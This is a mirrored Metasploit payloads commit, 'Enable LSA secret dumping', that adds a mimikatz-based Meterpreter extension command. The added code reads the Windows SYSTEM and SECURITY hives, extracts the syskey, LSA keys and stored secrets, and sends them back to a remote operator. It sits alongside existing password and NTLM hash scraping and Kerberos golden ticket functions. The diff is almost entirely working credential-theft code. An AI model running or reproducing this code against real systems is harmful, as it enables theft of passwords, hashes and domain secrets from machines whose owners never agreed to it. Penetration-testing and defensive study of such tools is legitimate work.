1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-22 03:19:04 +01:00

Enable LSA secret dumping

This commit is contained in:
OJ 2014-03-14 19:51:35 +10:00
parent e202ce3959
commit 43d362fb1e
10 changed files with 790 additions and 353 deletions

View File

@ -19,15 +19,30 @@ EnableDelayLoadMetSrv();
DWORD request_scrape_passwords(Remote *remote, Packet *packet);
DWORD request_golden_ticket_create(Remote *remote, Packet *packet);
DWORD request_golden_ticket_use(Remote *remote, Packet *packet);
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet);
Command customCommands[] =
{
COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords),
COMMAND_REQ("kiwi_golden_ticket_use", request_golden_ticket_use),
COMMAND_REQ("kiwi_golden_ticket_create", request_golden_ticket_create),
COMMAND_REQ("kiwi_lsa_dump_secrets", request_lsa_dump_secrets),
COMMAND_TERMINATOR
};
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
{
DWORD result;
Packet * response = packet_create_response(packet);
dprintf("[KIWI] Dumping LSA Secrets");
result = mimikatz_lsa_dump_secrets(response);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_golden_ticket_use(Remote *remote, Packet *packet)
{
Packet * response = packet_create_response(packet);

View File

@ -15,20 +15,40 @@
#define KIWI_PWD_ID_SEK_TICKETS ((UINT)7)
#define KIWI_PWD_ID_SEK_DPAPI ((UINT)8)
#define TLV_TYPE_KIWI_PWD_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 1)
#define TLV_TYPE_KIWI_PWD_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 2)
#define TLV_TYPE_KIWI_PWD_USERNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 3)
#define TLV_TYPE_KIWI_PWD_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 4)
#define TLV_TYPE_KIWI_PWD_PASSWORD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 5)
#define TLV_TYPE_KIWI_PWD_AUTH_HI MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 6)
#define TLV_TYPE_KIWI_PWD_AUTH_LO MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 7)
#define TLV_TYPE_KIWI_PWD_LMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 8)
#define TLV_TYPE_KIWI_PWD_NTLMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 9)
#define TLV_TYPE_KIWI_PWD_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 1)
#define TLV_TYPE_KIWI_PWD_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 2)
#define TLV_TYPE_KIWI_PWD_USERNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 3)
#define TLV_TYPE_KIWI_PWD_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 4)
#define TLV_TYPE_KIWI_PWD_PASSWORD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 5)
#define TLV_TYPE_KIWI_PWD_AUTH_HI MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 6)
#define TLV_TYPE_KIWI_PWD_AUTH_LO MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 7)
#define TLV_TYPE_KIWI_PWD_LMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 8)
#define TLV_TYPE_KIWI_PWD_NTLMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 9)
#define TLV_TYPE_KIWI_GOLD_USER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 10)
#define TLV_TYPE_KIWI_GOLD_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 11)
#define TLV_TYPE_KIWI_GOLD_SID MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 12)
#define TLV_TYPE_KIWI_GOLD_TGT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 13)
#define TLV_TYPE_KIWI_GOLD_TICKET MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 14)
#define TLV_TYPE_KIWI_GOLD_USER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 10)
#define TLV_TYPE_KIWI_GOLD_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 11)
#define TLV_TYPE_KIWI_GOLD_SID MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 12)
#define TLV_TYPE_KIWI_GOLD_TGT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 13)
#define TLV_TYPE_KIWI_GOLD_TICKET MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 14)
#define TLV_TYPE_KIWI_LSA_VER_MAJ MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 15)
#define TLV_TYPE_KIWI_LSA_VER_MIN MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 16)
#define TLV_TYPE_KIWI_LSA_COMPNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 17)
#define TLV_TYPE_KIWI_LSA_SYSKEY MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 18)
#define TLV_TYPE_KIWI_LSA_KEYCOUNT MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 19)
#define TLV_TYPE_KIWI_LSA_KEYID MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 20)
#define TLV_TYPE_KIWI_LSA_KEYIDX MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 21)
#define TLV_TYPE_KIWI_LSA_KEYVALUE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 22)
#define TLV_TYPE_KIWI_LSA_NT6KEY MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 23)
#define TLV_TYPE_KIWI_LSA_NT5KEY MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 24)
#define TLV_TYPE_KIWI_LSA_SECRET MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 25)
#define TLV_TYPE_KIWI_LSA_SECRET_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 26)
#define TLV_TYPE_KIWI_LSA_SECRET_SERV MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 27)
#define TLV_TYPE_KIWI_LSA_SECRET_NTLM MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 28)
#define TLV_TYPE_KIWI_LSA_SECRET_CURR MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 29)
#define TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 30)
#define TLV_TYPE_KIWI_LSA_SECRET_OLD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 31)
#define TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 32)
#endif

View File

@ -2,6 +2,16 @@
#include "mimikatz_interface.h"
#include <NTSecAPI.h>
// dirty hackes to get things to build
// copied from crypto_system
#define MD4_DIGEST_LENGTH 16
#define MD5_DIGEST_LENGTH 16
#define SHA_DIGEST_LENGTH 20
// copied from globals
#define LM_NTLM_HASH_LENGTH 16
#include "modules\kuhl_m_lsadump_struct.h"
typedef void (CALLBACK * PKUHL_M_SEKURLSA_EXTERNAL) (IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData);
typedef LONG (* PKUHL_M_SEKURLSA_ENUMERATOR)(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
@ -12,6 +22,7 @@ extern LONG kuhl_m_sekurlsa_kerberos_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LP
extern LONG kuhl_m_sekurlsa_tspkg_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_livessp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_ssp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_lsadump_full(PLSA_CALLBACK_CTX callbackCtx);
// TODO:
//extern LONG kuhl_m_sekurlsa_tickets_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
@ -20,17 +31,20 @@ extern LONG kuhl_m_sekurlsa_ssp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID
extern LONG kuhl_m_kerberos_use_ticket(PBYTE fileData, DWORD fileSize);
extern LONG kuhl_m_kerberos_create_golden_ticket(PCWCHAR szUser, PCWCHAR szDomain, PCWCHAR szSid, PCWCHAR szNtlm, PBYTE* ticketBuffer, DWORD* ticketBufferSize);
const wchar_t* EmptyString = L"";
BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret)
{
UNICODE_STRING candidateString = { (USHORT)dwBytes, (USHORT)dwBytes, (PWSTR)pSecret };
int unicodeTestFlags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
return pSecret && IsTextUnicode(candidateString.Buffer, candidateString.Length, &unicodeTestFlags);
}
void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain,
IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData)
{
UINT hi = 0;
UINT lo = 0;
char ntlmHash[33];
char lmHash[33];
DWORD i;
DWORD count = 0;
Tlv entries[7];
Packet* packet = (Packet*)pvData;
@ -39,43 +53,31 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna
if (username != NULL && username->Buffer != NULL && username->Length > 0)
{
dprintf("[KIWI] Adding username %u chars", username->Length);
packet_add_tlv_wstring_entry(&entries[0], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length);
}
else
{
dprintf("[KIWI] Adding blank username");
packet_add_tlv_wstring_entry(&entries[0], TLV_TYPE_KIWI_PWD_USERNAME, EmptyString, 0);
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length);
}
if (domain != NULL && domain->Buffer != NULL && domain->Length > 0)
{
dprintf("[KIWI] Adding domain %u chars", domain->Length);
packet_add_tlv_wstring_entry(&entries[1], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length);
}
else
{
dprintf("[KIWI] Adding blank domain");
packet_add_tlv_wstring_entry(&entries[1], TLV_TYPE_KIWI_PWD_DOMAIN, EmptyString, 0);
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length);
}
if (password != NULL && password->Buffer != NULL && password->Length > 0)
{
dprintf("[KIWI] Adding password %u chars", password->Length);
packet_add_tlv_wstring_entry(&entries[2], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length);
}
else
{
dprintf("[KIWI] Adding blank password");
packet_add_tlv_wstring_entry(&entries[2], TLV_TYPE_KIWI_PWD_PASSWORD, EmptyString, 0);
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length);
}
dprintf("[KIWI] Adding auth info");
entries[3].header.length = sizeof(UINT);
entries[3].header.type = TLV_TYPE_KIWI_PWD_AUTH_HI;
entries[3].buffer = (PUCHAR)&hi;
entries[4].header.length = sizeof(UINT);
entries[4].header.type = TLV_TYPE_KIWI_PWD_AUTH_LO;
entries[4].buffer = (PUCHAR)&lo;
entries[count].header.length = sizeof(UINT);
entries[count].header.type = TLV_TYPE_KIWI_PWD_AUTH_HI;
entries[count].buffer = (PUCHAR)&hi;
++count;
entries[count].header.length = sizeof(UINT);
entries[count].header.type = TLV_TYPE_KIWI_PWD_AUTH_LO;
entries[count].buffer = (PUCHAR)&lo;
++count;
if (luid != NULL)
{
@ -86,48 +88,25 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna
// 16 bytes long
if (lm != NULL)
{
sprintf_s(lmHash, sizeof(lmHash), "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
lm[0], lm[1], lm[2], lm[3], lm[4], lm[5], lm[6], lm[7], lm[8],
lm[9], lm[10], lm[11], lm[12], lm[13], lm[14], lm[15]);
dprintf("[KIWI] Adding lm hash: %s", lmHash);
entries[5].header.length = sizeof(lmHash);
entries[5].header.type = TLV_TYPE_KIWI_PWD_LMHASH;
entries[5].buffer = (PUCHAR)lmHash;
}
else
{
dprintf("[KIWI] Adding blank lm");
packet_add_tlv_wstring_entry(&entries[5], TLV_TYPE_KIWI_PWD_LMHASH, EmptyString, 0);
dprintf("[KIWI] Adding lm hash");
entries[count].header.length = 16;
entries[count].header.type = TLV_TYPE_KIWI_PWD_LMHASH;
entries[count].buffer = (PUCHAR)lm;
++count;
}
// 16 bytes long
if (ntlm != NULL)
{
sprintf_s(ntlmHash, sizeof(ntlmHash), "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
ntlm[0], ntlm[1], ntlm[2], ntlm[3], ntlm[4], ntlm[5], ntlm[6], ntlm[7], ntlm[8],
ntlm[9], ntlm[10], ntlm[11], ntlm[12], ntlm[13], ntlm[14], ntlm[15]);
dprintf("[KIWI] Adding ntlm hash: %s", ntlmHash);
entries[6].header.length = sizeof(ntlmHash);
entries[6].header.type = TLV_TYPE_KIWI_PWD_NTLMHASH;
entries[6].buffer = (PUCHAR)ntlmHash;
}
else
{
dprintf("[KIWI] Adding blank ntlm");
packet_add_tlv_wstring_entry(&entries[6], TLV_TYPE_KIWI_PWD_NTLMHASH, EmptyString, 0);
dprintf("[KIWI] Adding ntlm hash");
entries[count].header.length = 16;
entries[count].header.type = TLV_TYPE_KIWI_PWD_NTLMHASH;
entries[count].buffer = (PUCHAR)ntlm;
++count;
}
dprintf("[KIWI] Adding to packet");
packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, 7);
dprintf("[KIWI] Freeing buffers");
for (i = 0; i < 3; ++i)
{
if (entries[i].buffer != NULL)
{
free(entries[i].buffer);
}
}
packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, count);
}
DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet)
@ -246,4 +225,150 @@ DWORD mimikatz_golden_ticket_create(char* user, char* domain, char* sid, char* t
DWORD mimikatz_golden_ticket_use(BYTE* buffer, DWORD bufferSize)
{
return kuhl_m_kerberos_use_ticket(buffer, bufferSize);
}
VOID PolicyVersionHandler(LPVOID lpContext, USHORT usMajor, USHORT usMinor)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] Version: %u.%u", usMajor, usMinor);
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MAJ, (UINT)usMajor);
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MIN, (UINT)usMinor);
}
VOID Nt5KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] nt5 Key");
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_NT5KEY, pSysKey->key, sizeof(NT5_SYSTEM_KEY));
}
VOID Nt6KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey)
{
Tlv entities[3];
Packet *response = (Packet*)lpContext;
UINT uKeySize = htonl(pSysKey->KeySize);
dprintf("[KIWI LSA] nt6 Key");
dwIndex = htonl(dwIndex);
entities[0].header.type = TLV_TYPE_KIWI_LSA_KEYIDX;
entities[0].header.length = sizeof(UINT);
entities[0].buffer = (PUCHAR)&dwIndex;
entities[1].header.type = TLV_TYPE_KIWI_LSA_KEYID;
entities[1].header.length = sizeof(GUID);
entities[1].buffer = (PUCHAR)&pSysKey->KeyId;
entities[2].header.type = TLV_TYPE_KIWI_LSA_KEYVALUE;
entities[2].header.length = pSysKey->KeySize;
entities[2].buffer = (PUCHAR)pSysKey->Key;
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_NT6KEY, entities, 3);
}
VOID Nt6KeyStreamHandler(LPVOID lpContext, PNT6_SYSTEM_KEYS pSysKeyStream)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] nt6 Key stream: %u keys", pSysKeyStream->nbKeys);
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_KEYCOUNT, pSysKeyStream->nbKeys);
}
VOID CompNameHandler(LPVOID lpContext, wchar_t* lpwComputerName)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] Computer Name: %S", lpwComputerName);
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_LSA_COMPNAME, lpwComputerName);
}
VOID SysKeyHandler(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] SysKey: %u bytes", dwKeyLen);
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_SYSKEY, pKey, dwKeyLen);
}
VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize)
{
Tlv entries[5];
DWORD dwCount = 0;
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] Handling secret: %S", lpwSecretName);
// don't bother with the entry if we don't have data for it
if (!pCurrent && !pOld)
{
dprintf("[KIWI LSA] Secret has no data: %S", lpwSecretName);
return;
}
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_NAME, lpwSecretName, 0);
if (lpwServiceInfo)
{
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_SERV, lpwServiceInfo, 0);
}
if (pMd4Digest)
{
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_NTLM;
entries[dwCount].header.length = MD4_DIGEST_LENGTH;
entries[dwCount].buffer = (PUCHAR)pMd4Digest;
++dwCount;
}
if (pCurrent)
{
if (is_unicode_string(dwCurrentSize, pCurrent))
{
dprintf("[KIWI LSA] current text");
packet_add_tlv_wstring_entry(&entries[dwCount], TLV_TYPE_KIWI_LSA_SECRET_CURR, (LPCWSTR)pCurrent, dwCurrentSize / sizeof(wchar_t));
}
else
{
dprintf("[KIWI LSA] current raw");
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW;
entries[dwCount].header.length = dwCurrentSize;
entries[dwCount].buffer = (PUCHAR)pCurrent;
}
++dwCount;
}
if (pOld)
{
if (is_unicode_string(dwOldSize, pOld))
{
packet_add_tlv_wstring_entry(&entries[dwCount], TLV_TYPE_KIWI_LSA_SECRET_OLD, (LPCWSTR)pOld, dwCurrentSize / sizeof(wchar_t));
}
else
{
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW;
entries[dwCount].header.length = dwOldSize;
entries[dwCount].buffer = (PUCHAR)pOld;
}
++dwCount;
}
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SECRET, entries, dwCount);
}
DWORD mimikatz_lsa_dump_secrets(Packet* response)
{
LSA_CALLBACK_CTX callbackCtx;
ZeroMemory(&callbackCtx, sizeof(callbackCtx));
// we want the context to be the packet, so that elements
// can be added directly to the packet
callbackCtx.lpContext = response;
callbackCtx.pCompNameHandler = CompNameHandler;
callbackCtx.pSysKeyHandler = SysKeyHandler;
callbackCtx.pPolicyVersionHandler = PolicyVersionHandler;
callbackCtx.pNt6KeyStreamHandler = Nt6KeyStreamHandler;
callbackCtx.pNt6KeyHandler = Nt6KeyHandler;
callbackCtx.pNt5KeyHandler = Nt5KeyHandler;
callbackCtx.pSecretHandler = SecretHandler;
return kuhl_m_lsadump_full(&callbackCtx);
}

View File

@ -7,5 +7,6 @@ DWORD mimikatz_initOrClean(BOOL Init);
DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet);
DWORD mimikatz_golden_ticket_create(char* user, char* domain, char* sid, char* ntlm, Packet* response);
DWORD mimikatz_golden_ticket_use(BYTE* buffer, DWORD bufferSize);
DWORD mimikatz_lsa_dump_secrets(Packet* response);
#endif

View File

@ -32,7 +32,7 @@ NTSTATUS kuhl_m_lsadump_sam(int argc, wchar_t * argv[])
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hData, &hRegistry))
{
isKeyOk = kuhl_m_lsadump_getComputerAndSyskey(hRegistry, NULL, sysKey);
isKeyOk = kuhl_m_lsadump_getComputerAndSyskey(hRegistry, NULL, sysKey, NULL);
kull_m_registry_close(hRegistry);
}
CloseHandle(hData);
@ -58,7 +58,7 @@ NTSTATUS kuhl_m_lsadump_sam(int argc, wchar_t * argv[])
{
if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hBase))
{
isKeyOk = kuhl_m_lsadump_getComputerAndSyskey(hRegistry, hBase, sysKey);
isKeyOk = kuhl_m_lsadump_getComputerAndSyskey(hRegistry, hBase, sysKey, NULL);
kull_m_registry_RegCloseKey(hRegistry, hBase);
}
if(isKeyOk)
@ -101,7 +101,7 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, &hSystem))
{
if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, NULL, sysKey))
if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, NULL, sysKey, NULL))
{
if(argc > 1)
{
@ -110,7 +110,7 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSecurity, &hSecurity))
{
kuhl_m_lsadump_getLsaKeyAndSecrets(hSecurity, NULL, hSystem, NULL, sysKey, secretsOrCache);
kuhl_m_lsadump_getLsaKeyAndSecrets(hSecurity, NULL, hSystem, NULL, sysKey, secretsOrCache, NULL);
kull_m_registry_close(hSecurity);
}
CloseHandle(hDataSecurity);
@ -128,11 +128,11 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
{
if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hSystemBase))
{
if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, hSystemBase, sysKey))
if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, hSystemBase, sysKey, NULL))
{
if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SECURITY", 0, KEY_READ, &hSecurityBase))
{
kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, secretsOrCache);
kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, secretsOrCache, NULL);
kull_m_registry_RegCloseKey(hSystem, hSecurityBase);
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SECURITY)");
@ -145,6 +145,35 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_lsadump_full(PLSA_CALLBACK_CTX callbackCtx)
{
PKULL_M_REGISTRY_HANDLE hSystem;
HKEY hSystemBase, hSecurityBase;
BYTE sysKey[SYSKEY_LENGTH];
BOOL isKeyOk = FALSE;
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, &hSystem))
{
if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hSystemBase))
{
if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, hSystemBase, sysKey, callbackCtx))
{
if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SECURITY", 0, KEY_READ, &hSecurityBase))
{
kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, TRUE, callbackCtx);
//kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, FALSE, callbackCtx);
kull_m_registry_RegCloseKey(hSystem, hSecurityBase);
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SECURITY)");
}
kull_m_registry_RegCloseKey(hSystem, hSystemBase);
}
kull_m_registry_close(hSystem);
}
return STATUS_SUCCESS;
}
const wchar_t * kuhl_m_lsadump_CONTROLSET_SOURCES[] = {L"Current", L"Default"};
BOOL kuhl_m_lsadump_getCurrentControlSet(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hSystemBase, PHKEY phCurrentControlSet)
{
@ -202,7 +231,7 @@ BOOL kuhl_m_lsadump_getSyskey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hLSA, LPBY
return status;
}
BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey)
BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey, PLSA_CALLBACK_CTX callbackCtx)
{
BOOL status = FALSE;
wchar_t * computerName;
@ -219,8 +248,12 @@ BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, I
{
if(computerName = (wchar_t *) LocalAlloc(LPTR, szNeeded + sizeof(wchar_t)))
{
if(kull_m_registry_RegQueryValueEx(hRegistry, hComputerNameOrLSA, L"ComputerName", 0, NULL, (LPBYTE) computerName, &szNeeded))
if (kull_m_registry_RegQueryValueEx(hRegistry, hComputerNameOrLSA, L"ComputerName", 0, NULL, (LPBYTE)computerName, &szNeeded))
{
kprintf(L"%s\n", computerName);
if (callbackCtx && callbackCtx->pCompNameHandler)
callbackCtx->pCompNameHandler(callbackCtx->lpContext, computerName);
}
else PRINT_ERROR(L"kull_m_registry_RegQueryValueEx ComputerName KO\n");
